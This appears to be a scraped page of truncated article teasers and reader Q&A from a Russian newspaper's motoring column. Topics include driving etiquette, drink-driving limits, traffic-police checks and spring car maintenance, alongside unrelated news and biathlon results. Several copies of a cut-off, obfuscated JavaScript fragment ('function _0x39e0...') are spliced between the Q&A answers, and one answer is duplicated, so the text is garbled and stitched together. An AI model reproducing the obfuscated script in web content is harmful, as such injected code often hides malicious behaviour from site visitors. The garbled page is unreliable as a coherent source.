Новости
Хлыстун Виктор
Многие считают, что, выучив правила движения и соблюдая их от и до, можно считать себя культурным водителем. В общем-то это правильно. Но только наполовину.
ПРИКРОЙ НОВИЧКА
Девушка на маленькой машинке пытается перестроиться из левого ряда в правый. Еду за ней и вижу, как она включила поворотник, остановилась. Но ее не пропускают. Один, второй, третий - водители вроде действуют по правилам. А как же! Для них авто девушки - помеха справа, значит, пусть ждет "пробела". Не выдерживаю, сую правый угол своего переднего бампера вправо, под нос "жигуленку" в левом ряду, и мигаю фарами, чтобы красавица ехала - я ее загородил от наглых водил. Молодец, поняла мой маневр, быстро занимает ряд и благодарит: включает "аварийку" - четыре поворотника. Пустяк, а приятно. Но дело не только в этом.
Опытные...
Продолжаем новую рубрику "Маршрут". На этот раз дорога привела нас в древний российский город Торжок. Он стоит чуть в стороне от трассы Москва - Санкт-Петербург. Не побывать в нем настоящему автопутешественнику нельзя. Двух выходных дней для поездки вполне достаточно.
УСТАЛ - ОСТАНОВИСЬ
Обида берет, но факт остается фактом: два крупнейших, не побоюсь этого слова, европейских города - Москву и Санкт-Петербург - соединяет хилая, узенькая, вечно ремонтируемая, вся в заплатках дорога. А ведь по ней перевозится столько грузов, едет столько народу, что давно пора построить автобан. Но что есть, то есть.
За Химками вроде должен открыться оперативный простор, но поток идет медленно, хотя и суббота. У поста ГИБДД в деревне Черная Грязь больше тормозят грузовики. Проверяют. А на самой трассе из-за длиннющих фур ничего не видно. Обгонять их приходится осторожно не только из-за плохого обзора, но еще и потому,...
Причину большинства аварий водители - виновники происшествий определяют двумя словами: "Не заметил". Не заметил грузовик сбоку, не увидел дорожный знак, проглядел, как сосед справа перестроился в мой ряд. В общем, зрение подвело.
НИЧЕГО НЕ ВИЖУ, НИЧЕГО НЕ ЗНАЮ...
Поговорил с офтальмологом Андреем Ваниным, который часто проверяет зрение у водителей в одной медицинской фирме.
- Тем, у кого проблемы со зрением в допустимых рамках, - рассказывает Андрей, - мы рекомендуем носить за рулем очки или линзы. Но на наши советы многие просто плюют. Им кажется, что машину водят руками и ногами, а глаза - только приложение к ним. Между тем 90% информации водитель получает как раз с помощью зрения. К сожалению, при выдаче медицинских справок врачи действуют по инструкции, проверяют лишь основные параметры: близорукость, дальнозоркость, остроту зрения, способность различать...
С 1 июля в России официально разрешено управлять автомобилем, находясь под градусом до 0,3 промилле. Хорошо это или плохо? Мнения расходятся, но одно ясно: теперь автомобилистам придется относиться к выпивке гораздо осторожнее, чем раньше.
ДО ЦИВИЛИЗАЦИИ ДАЛЕКОВАТО
Отмену категорического запрета на питие за рулем некоторые деятели, особенно из гаишных кругов, уже назвали большим шагом нашей страны в цивилизованный мир. Но это лукавство. Ведь если так считать, то мы в одночасье с 1 июля сего года стали в "автомобильном" смысле даже цивилизованнее шведов. А как же! У них допустимая норма, при которой водитель вправе водить авто, - 0,2 промилле, а у нас - 0,3. У них за час до поездки можно пригубить только баночку слабого пива объемом 0,33 мл, а у нас - 0,5 мл.
Однако шутки в сторону. Если говорить серьезно, то никакого большого шага к цивилизованному автомобильному миру...
Люди чихают, машины кипят. Все повторяют, что в этом виноват тополиный пух. Однако не только он заставляет нас шмыгать носом, а моторы перегреваться. Вторая и главная причина автомобильных и человеческих болезней более серьезна. Это жара.
ЗАГЛЯНИ ПОД КАПОТ
Если мотор перегревается, не надо грешить сразу на жаркую погоду или на обилие белых пушинок на земле и в воздухе: они всего лишь усугубляют болезни, которые сидели под капотом и на которые вы не обращали внимания после зимы и прохладной весны. Ну, ездила машина, и слава богу. Мало кто из моих знакомых, например, заменил масло, проверил работу бензонасоса (при нашем топливе он быстро засоряется), измерил давление во всех цилиндрах, короче, провел перед летними поездками ТО - технический осмотр. Да что там ТО! Многие не удосужились еще помыть моторы своих железных конней. А ведь на них за зиму скопилось столько грязи,...
Автомобильная культура, наверное, начинается с того, что водитель хочет сделать свою машину красивее, удобнее и надежнее, чтобы она отличалась от себе подобных. Все эти действия называются тюнингом. Если за рубежом уже давно на нем делается бизнес, у нас тюнинг пока в зачаточном состоянии. И на то есть свои причины.
Тему этого выпуска "Автономии" подсказал наш читатель Сергей Ломакин из Валуйского района Белгородской области. Вот что он пишет: "Мне очень нравится рубрика "Автономия". Есть много дельных советов. После одной публикации я, например, отпечатал все документы, которыми пользуются работники ДПС, и бросил их в бардачок. Они теперь очень даже помогают мне разговаривать с гаишниками. Но это так, к слову.
Сейчас меня волнует проблема тюнинга автомобиля. Расскажите, пожалуйста, что можно, а что нельзя устанавливать на машину, чтобы не было проблем с техосмотром. Тут, по-моему, полная неразбериха. Спереди автомобиля правилами запрещается устанавливать...
Вчера в московском Тушино завершилось ежегодное автомобильное шоу "Арена Драйв".
Смотришь, как автомобиль взлетает над землей, и дух зах-ватывает. А когда "жигуленок" летит сквозь огненное кольцо, зрители хватаются за сердце - зрелище не для слабонервных. Но и это не все. На площадке вдруг появляется так называемая "этажерка" - высоченная горящая табуретка, а на ней - 12-летний мальчик. Машина разгоняется, юный каскадер чуть подпрыгивает как раз в тот момент, когда она сшибает "этажерку". Секунда - и толпа зрителей облегченно вздыхает: исполнитель опасного трюка благополучно приземляется. Зовут его Сергей Морин. Он сын известного каскадера Алексея Морина. Первый трюк он выполнил, когда ему исполнилось три года.
Машины,...
Остался без колес. Всего на день. Перехожу улицу на зеленый свет. Не один - в толпе. Вдруг парень за рулем "мерса" чуть не въезжает на зебру и бибикает. Вместо привычного сигнала слышу: "Бе-е-е..." - блеяние; водила намекает, что пешеходы для него - стадо баранов. И так захотелось мне пнуть этот "мерс".
НУЖЕН ДАМОКЛОВ МЕЧ
Печальные цифры статистики призывают задуматься всех: пешеходов, водителей, инспекторов ГИБДД и начальников, которые имеют какое-то отношение к организации дорожного движения.
Итак, от 49 до 50% общего числа ДТП в России - наезды на пешеходов. По данным автоинспекции, чаще всего люди попадают под колеса при переходе проезжей части в неположенных местах (более 60%). Чуть не треть наездов связана с нарушением пешеходами правил дорожного движения. Неожиданно выходят на проезжую часть, когда водитель не может предотвратить аварию, примерно 15% граждан, попадающих под авто. Чаще всего наезды происходят в городах (около...
Летние каникулы. На улицы городов и сел высыпят сотни тысяч школьников. Ждать от всех примерного поведения на дорогах, увы, не приходится. К наплыву надо быть готовым всем: водителям, родителям, инспекторам. Статистика трагедий ужасна: в автомобильных катастрофах ежедневно в среднем гибнет до 10 ребят, около 70 получают травмы. По смертности детей и молодых людей до 24 лет Россия занимает третье место в мире.
САМ ПРЫГНУЛ ПОД КОЛЕСА
Так говорят водители, когда под их машину попадает ребенок. А вот типичные объяснения: "Ехал спокойно, вдруг из-за автобуса...", "На тротуаре стояла ватага, вдруг один...", "Хотел объехать мячик на дороге, вдруг..." Согласен: дети всегда выскакивают на проезжую часть неожиданно. Однако если бы водители чаще смотрели на автомобиль и дорогу глазами малышей, то этих "вдруг" было бы куда меньше.
Почему они лезут на дорогу? Непредсказуемое поведение маленьких пешеходов психологи объясняют тем, что они не в состоянии правильно и точно оценить дорожную обстановку, особенно в тех случаях, когда она быстро меняется. Обычный...
Отношение автомобилистов к мотоциклистам, велосипедистам и прочим владельцам двухколесных средств передвижения, мягко говоря, пренебрежительное. Может, это пренебрежение и является причиной многих аварий, в которых четырехколесные машины немилосердно наезжают на двухколесные в прямом смысле этого слова.
КОВАРНАЯ ПОЛОСКА
Правилами дорожного движения для велосипедистов отведена полоса шириной в один метр с правой стороны дороги, но не все автомобилисты помнят об этом.
Как ни странно, многие водители, даже с большим стажем, считают, что человек на велосипеде - это тот же пешеход. По крайней мере, полагают они, велосипедист способен моментально остановиться как вкопанный и пропустить машину. Между тем тормозной путь этого двухколесного "коня" совсем не мал. Если велосипедист едет со скоростью 25 километров в час, то ему требуется 8 метров, чтобы остановиться.
А теперь представьте, что автомобиль поворачивает направо. Сплошь и рядом водители...
В выпуске "Автономии" от 24 апреля в материале "Как урезонить гаишника" мы предложили читателям поразмышлять о том, что делать, если наглый дорожный страж с полосатой палкой прессует водителя по полной программе и вымогает деньги, даже когда вина того сомнительна. Откликов много, и большинство - конструктивны.
ДОРОЖНЫЙ ЗНАК: "ПРЕЗУМПЦИЯ НЕВИНОВНОСТИ"
Такого дорожного знака, конечно же, нет, а не мешало бы его ввести. Негласно хотя бы. В какой-нибудь должностной инструкции для инспекторов ДПС, поскольку любое сомнительное нарушение правил дорожного движения многими работниками ГИБДД трактуется не в пользу водителя, а во вред ему. К сожалению, именно так поступают и мировые судьи (чаще всего они и занимаются нарушителями ПДД), которым вроде бы по штату положено ставить принцип презумпции невиновности во главу угла своей деятельности. Вот что рассказывает в послании в редакцию москвич Сергей Усанов.
"На микроавтобусе "Мерседес-Бенц" я вез иностранных...
Перед 9 Мая поспрашивал молодых коллег-автомобилистов: знают ли они такие марки машин, как "Захар", "Эмка", "полуторка", "Иван-Виллис"? А в ответ, как поется, - тишина. Жаль. Ведь на них наши солдаты и генералы ехали к Победе. Настоящему автолюбителю надо бы их знать.
КАК ПОБЕДИТЬ "ТИГРА"
Это показала во время войны молоденькая девушка - санинструктор Надя. Фамилию, к сожалению, мы не знаем. В разбитом грузовичке под народным названием "полуторка" она везла в тыл раненых бойцов и семилетнего парнишку, потерявшего родителей. И вдруг на дороге появился грозный немецкий танк "Тигр". Фашисты, увидев, как девушка ведет машину, решили пошутить, поиграть с ней в кошки-мышки. Стреляли по колесам, но что это для "полуторки". Ведь колеса у нее были из сплошной резины. Они то нагоняли "полуторку", то отставали от нее - пугали. Ждали, наверное, когда автомобильчик заглохнет, чтобы потом, к примеру, воткнуть в...
В редакцию пожаловался житель дома N52 по улице Изумрудной Владимир Некрылов. У него беда: пропал металлический тент, в котором ночевали его "Жигули". История пропажи собственности напоминает детектив.
- В четверг я, как обычно, выехал из "ракушки" и поехал на работу, - рассказывает Владимир. - Приезжаю вечером - "ракушки" нет. Пропали и зимние колеса, лежавшие в ней. Никакого уведомления или решения суда о сносе я не получал и поэтому подумал, что "ракушку" украли.
Автолюбитель отправился на поиски пропажи. Для начала позвонил в управу района. Почему? А потому, что примерно месяца полтора назад на все "пеналы" в районе кто-то наклеил предупреждения о том, что скоро они будут демонтированы, если были установлены без разрешения.
- Но на моей "ракушке" такого предупреждения не было. Вот я и подумал, что власти проявили доброту. Ведь...
Сосед на дачу собрался, попросил "прикурить" - машина у него не заводилась. Дело нехитрое - подсоединил два провода к клеммам двух аккумуляторов, завел движок. Я сел за руль, он полез под капот, вдруг кричит. Выскакиваю. Провода сначала оплавились, потом вспыхнули. Едва успел сдернуть зажим одного из них с клеммы аккумулятора. Пара секунд - и пожара бы не миновать.
РУКАМИ НЕ ТРОГАТЬ
Рассказал про экстремальное "прикуривание" спецу - электрику-диагноситку автосервиса Лене Кушниру, - а тот улыбается:
- Что ж вы, плюс от минуса отличить не могли?! Это первое правило, ему в школе учат: чтобы электрический ток передать, надо присоединять плюс к плюсу, минус к минусу. Параллельное соединение называется. А вообще я скажу, что лезть в электрику и электронику современного автомобиля водителю нельзя - дело специалистов, то бишь мое. Ты уж хлеб-то у меня не отнимай, - и опять у мастера рот до ушей.
- Но, Леня, хоть лампочку-то я могу поменять без твоей помощи?
- Лампочку можешь, но не каждую. Есть такие,...
Впереди праздники, отдых, гульба. Если вы не сядете за руль под мухой, то другой это сделает. У пешеходов диагноз тот же - алкогольное веселье, значит, беспорядочное движение, в том числе и по дорогам. А дети? Вероятность их появления на проезжей части резко возрастает. Прибавьте сюда повышенное внимание гаишников. Короче, праздничная езда - полный экстрим.
ДУТЬ ИЛИ НЕ ДУТЬ?
Разобраться с этой проблемой нам помогает автомобилист и врач Татьяна Черкасова:
- Если даже вы не пьете или полагаете, что прошло достаточно времени и хмель выветрился, не надейтесь, что гаишники не захотят вас проверить - праздники! Если вы не чисты как стеклышко и точно не знаете, готовы ли вести машину, то определите свое состояние алкометром.
А что делать, если у вас во рту не было ни капли, но ретивый гаишник наезжает? Для начала нужно узнать, когда инспектор имеет право отправить вас на медицинское освидетельствование. Признаков для проверки немного: явный запах изо рта, нарушения речи, заметная дрожь пальцев,...
Публикация в "Автономии" "Без санкции не трогать" (см. "Труд-7" за 10 апреля 2008 года) затронула читателей за живое. В ней мы рассказали, в каких случаях и как инспекторы ГИБДД или милиционеры могут проверять, что лежит у вас в салоне, бардачке, багажнике. Около сотни писем получила редакция. Всех без исключения волнует главный вопрос: как же все-таки действовать, когда наглый инспектор превышает свои полномочия?
С ТОЧКИ ЗРЕНИЯ ЮРИСТА
Известный юрист Леонид Ольшанский назвал разговор о правах сотрудников ГИБДД и их нарушениях вечно актуальным и посетовал на то, что в заметке о проведении досмотра несколько вольно трактуются юридические тонкости проведения этого важного мероприятия. Там написано, что во время проведения специальных операций и на постоянных постах ГИБДД инспекторы и милиционеры могут не составлять протокола о досмотре, а также не приглашать понятых для его проведения. Все водители знают, что именно так действуют сотрудники дорожной службы, видимо, выполняя свою внутреннюю инструкцию. Однако эта инструкция, по мнению Леонида Ольшанского,...
Итак, в путь. А каково оно - путешествовать на автомобиле по нашей стране? Впереди длинные майские праздники, и многие автомобилисты задумываются, куда бы поехать и как бы вернуться назад. Вопросы отнюдь не праздные. Автомобильное путешествие станет приятным, если к нему капитально подготовиться. Время есть.
НИ ПЫЛИНКИ, НИ СОРИНКИ
Чтобы снарядить машину в дорогу, надо ее для начала основательно вычистить. Боже мой, сколько ненужных вещей скопилось за зиму в салоне и багажнике! Вот несколько флаконов из-под одеколона: я их бросал сюда для запаха. Долой! В бардачке полный бардак. Бумажки с адресами и телефонами московских сервисов, магазинов запчастей, старые автомобильные карты. Зачем они на трассе?! Меняем их на те, которые подробно рассказывают о намеченном маршруте. Карт в магазинах тьма-тьмущая. Лучше брать несколько, чтобы выбирать наиболее удобные пути проезда от города к городу, от села к селу.
А это еще что? Зимние перчатки, старые...
Знакомая рассказывает: остановил ее гаишник - обычное дело. Посмотрел документы на машину. В порядке. Но бумаги не вернул, а предложил открыть багажник. Я - ему: зачем? Вопрос его смутил. Тогда я говорю, что открывать не буду. Битый час мы препирались, но ни багажник, ни салон я ему досматривать не разрешила.
Скажу сразу, что моя знакомая (зовут ее Нелли) - юрист. Я задал ей вопрос, который не имел никакого отношения к ее профессии, но который очень близок большинству российских автомобилистов:
- Стоило связываться с гаишником, тратить время? Открыла багажник - и делу конец. У тебя что там, скелет бывшего любовника?!
- А с какого перепугу открывать? Я что, террорист? Или перевожу наркотики, оружие? Машина - моя собственность.
- Но другие водители безропотно выполняют практически любое требование инспектора.
- А потому, что лень вперед них родилась: не хотят выучить даже свои элементарные права, не говоря о правах инспектора, которые тоже...
Солнечные деньки для многих автомобилистов оказались огорчительными: число аварий резко возросло. Почему? Кровь заиграла? Хочется нажать на акселератор, прибавить газку? Все, конечно, так. Но есть и другие данные ГИБДД: причиной каждого третьего ДТП является так называемый дорожный фактор.
ПОБЕРЕГИ КАРМАН
Недавно в Москве специалисты провели выборочную проверку улиц. За короткий срок комиссия обнаружила 2844 места локальных разрушений дорожного полотна - ям, выбоин, провалов асфальта. И это в столице, где за дорогами худо-бедно следят! А что творится в других городах России, на сельских трассах? Если соединить весенний порыв промчаться с ветерком с состоянием дорог, то результат может быть плачевным: авария, разбитая подвеска, сломанные амортизаторы, погнутые диски. Большинство водителей, попав в ямищу, поругивают дорожников, но почему-то платят за восстановление машины (а часто и здоровья) из своего кармана. То есть сами...
Несколько тысяч человек вышли на улицы Белграда, чтобы выразить протест в связи с событиями в Косовской Митровице, где произошли столкновения между ооновскими миротворцами и сербами.
Свое отношение к беспорядкам, в результате которых погиб украинский миротворец (он вчера скончался от полученных ран) и несколько десятков ооновцев были ранены, выразили и российский МИД, и американский Госдеп. По мнению Москвы, миссии ООН и силам НАТО следует проявлять сдержанность и не спешить с применением силы. Вашингтон же склонен сваливать вину на сербов: он требует от Белграда осудить действия демонстрантов.
Между тем руководство НАТО уже объявило о намерении "усилить мандат" миротворческого контингента ООН и сил KFOR в Косово и "решительно пресекать любые акты насилия". Таким образом, сделан недвусмысленный намек: альянс может...
Вкрутил лампочку ближнего света - знаете, такая длинненькая, - а она через несколько дней стала давать не белый свет, а какой-то желтый, а еще через пару недель вообще сгорела. Кому предъявить претензию? Лампочка иностранная и дорогая - 176 рублей штука. Степан Калюжный, Тульская область
Уважаемый Степан, вряд ли вы сможете предъявить претензию магазину и получить назад деньги. Дело в том, что вы вкручивали лампочку, значит, как я понимаю, вы касались пальцами стекла. Этого ни в коем случае нельзя делать - почитайте инструкцию, приложенную к товару. Лампочки такого типа вставляются в гнезда, а держать их при этом надо не за стекло, а за цоколь. Любое прикосновение рук оставляет на стекле жирные пятна. Сначала на них реагирует специальный газ, которым заполнена лампочка, и свет желтеет. Потом она просто выходит из строя.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Замучился. Каждое утро движок троит, хотя всю зиму работал стабильно. Чем ему помочь, не знаю. Подскажите. Владимир Каета, Псков
Вернее всего, барахлят свечи зажигания. Весна - это не только тепло. Ночью еще держатся заморозки. Если бы машина стояла в теплом гараже, то все было бы нормально: свечи за ночь просыхали бы. При минусовой же температуре на улице они отпотевают, на них появляются микрокапельки - конденсат. Грязные свечи, а за зиму они стали именно такими, плохо работают, не пропускают искру. Прочистите и прокалите их или поставьте новые. Не поможет - займитесь проводами. Они тоже могут отсыреть от перепада температур. Обработайте их спецсредством.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Замучился. Каждое утро движок троит, хотя всю зиму работал стабильно. Чем ему помочь, не знаю. Подскажите. Владимир Каета, Псков
Вернее всего, барахлят свечи зажигания. Весна - это не только тепло. Ночью еще держатся заморозки. Если бы машина стояла в теплом гараже, то все было бы нормально: свечи за ночь просыхали бы. При минусовой же температуре на улице они отпотевают, на них появляются микрокапельки - конденсат. Грязные свечи, а за зиму они стали именно такими, плохо работают, не пропускают искру. Прочистите и прокалите их или поставьте новые. Не поможет - займитесь проводами. Они тоже могут отсыреть от перепада температур. Обработайте их спецсредством.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Странное дело, машина начала нагреваться. Ни с того ни с сего. Вроде за окном еще не лето, а температура движка зашкаливает. И тосол испаряется быстрее, чем обычно. Что случилось - не пойму. Дмитрий Степанков, Солнечногорск
Вероятнее всего, у вашего автомобиля забились ячейки радиатора. За зиму туда обычно набивается много мусора и песка. Конечно, ездить с таким радиатором нельзя - запросто можно перегреть мотор. Для начала промойте радиатор сильными струями воды. Лучше это делать, когда двигатель немного остынет. На автомойках ребята знают, как это сделать. И стоит услуга рублей 20-30. Дальше вы пишете, что тосол стал быстрее испаряться. Наверное, он не испаряется, а вытекает. Дело в том, что после зимы хомутики патрубков и трубок расслабились и начали пропускать охлаждающую жидкость. Попросите мастеров все проверить.
function _0x39e0(_0x2e6d70,_0x39105a){const...
Непонятно почему, но у моей машины начали скрипеть передние колеса. Надавишь на педаль тормоза - скрип. Потом он проходит, но все равно неприятно. Как от него избавиться? Наташа Головачева, Москва
По весне скрипят тормоза оттого, что песок, который смывается с тротуаров, попадает на проезжую часть, а потом забивается во все щелки автомобиля. Попадает он и между тормозными колодками и дисками. Отсюда скрип. Избавиться от него трудновато, но можно. При каждой мойке машины просите сильными струями воды обработать передние колеса, причем с внутренней стороны. Только не забудьте после процедуры обязательно просушить колодки при езде на маленькой скорости легкими нажатиями на педаль тормоза. Только после этого выезжайте на трассу. И еще. Если скрип усиливается, то посетите сервис. Вполне возможно, что за зиму вашим колодкам пришел конец...
Хочу поменять зимнюю резину на летнюю в эти выходные. На улицах снега уже нет, тепло, а заморозки бывают только по ночам, когда машина стоит. А друзья не советуют. Кто из нас прав? Владимир Евсютин, Ленинградская область
Без сомнения, ваши друзья правы. В марте и даже в апреле заморозки не редкость. А летняя резина не выдерживает минусовых температур, ее внутренний состав и структура меняются, она изнашивается гораздо быстрее. Так что лучше дождаться, когда холодов не будет даже по ночам, и спокойно поставить летние шины. К большому сожалению, весенней и осенней резины еще не придумали. А всесезонка - на любителей.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Южнокорейский космонавт Ко Сан отстранен от полета на МКС, запланированного на 8 апреля. Его место займет дублерша Йи Со Лен.
По версии Роскосмоса, космонавт нарушил режим подготовки. Ко Сан якобы вынес какие-то очень важные информационные материалы с территории Звездного городка и дал их почитать кому-то из своих знакомых. Между тем в Сеуле утверждают, что астронавта не допустили к полету за нарушение протокола безопасности. Если это так, то наказание должно быть более суровым, вплоть до полного запрета на полеты в космос. Но Ко Сан от тренировок не отстранен, а лишь переведен в "дублеры". "Мне кажется, что Ко Сан просто кому-то не понравился, - говорит "Труду" бывший командир космического корабля "Буран" Магомед Толбоев. - Может, своим поведением. Или манерой...
Амазонки за рулем - уже не исключение. Какую помощь в освоении "железного друга" ждут от сильного пола прекрасные дамы? Как ни странно, мои знакомые автоледи не нашлись, что ответить на этот простой вопрос. В лучшем случае просили не мешать. Зато мужчины на советы не поскупились.
ОНИ БЫЛИ ПЕРВЫМИ
Журналист, автопутешественник и дамский автоугодник в самом хорошем смысле слова Юрий ГЕЙКО:
- Автомобиль придумал мужчина - Карл Бенс. В 1888 году. Но вот путевку в жизнь его творению дала женщина - супруга Берта. Когда Карл впал в отчаяние и чуть не отрекся от своего моторного чуда (оно не находило спроса на рынке), именно Берта доказала всему миру, насколько гениально изобретение мужа. Втихаря от него с двумя сыновьями она отправилась на трехколесном агрегате в путь длиной 180 километров! До нее за руль никто не садился. В дороге фрау Берта покупала бензин в аптеках, меняла кожух тормоза с сапожником, укорачивала...
Наша читательница Светлана Гордашева из Москвы возмущена тем, что на нее "наехали" гаишники. Они грозились отобрать машину только потому, что у автовладелицы не было с собой полиса обязательного страхования. Женщине пришлось "договариваться на месте". Случай не единичный: дорожные блюстители порядка изучают документы очень придирчиво, а некоторые из них пользуются нашим незнанием законов, чтобы потребовать мзду.
ПТС ОСТАВЬТЕ ДОМА
Много раз встречал водителей, которые возят в бардачке целую папочку с документами. Чего там только нет - квитанции об уплате транспортного налога и за прохождение технического осмотра и так далее. Все это они вываливают инспектору ГИБДД на трассе - разбирайся. Между тем некоторые бумаги не только необязательно возить с собой в машине, но и опасно. Возьмите ПТС - паспорт транспортного средства. Этот документ желательно оставлять дома, а не в бардачке. Ведь если случится, не дай бог, непредвиденное - авто угонят, - то вы только облегчите задачу ворам: они быстро переправят ПТС, впишут в него нужное им лицо и потом продадут...
В прошлую субботу в Москве прошла необычная ночная акция. Около трехсот молодых автомобилистов и автомобилисток столицы и области собрались на Краснопресненской набережной, чтобы поучаствовать в благотворительной игре. Ее цель - собрать деньги для детей, которых постиг тяжелый недуг - онкологическое заболевание. Организаторами благородного дела стали друзья газеты "Труд-7" - девушки из женского автомобильного клуба Lady Racing Club.
А победили немцы Сабрина Бухгольц, Магдалена Нойнер, Андреас Бирнбахер и Михаэль Грайс, допустив на всю команду пять промахов и избежав штрафных кругов. Серебряные награды завоевала белорусская команда, умудрившаяся промахнуться всего два раза на восьми огневых рубежах! У российской команды в сумме набралось девять промахов плюс штрафной круг Николая Круглова.
На первом этапе Слепцова вывела сборную России в лидеры, но затем Неупокоеву сумела обойти немка Магдалена Нойнер - самая быстроногая биатлонистка в мире. Неудачно третий этап прошел Круглов, заехавший на один штрафной круг. Какое-то время Николай даже шел на восьмой позиции. На...
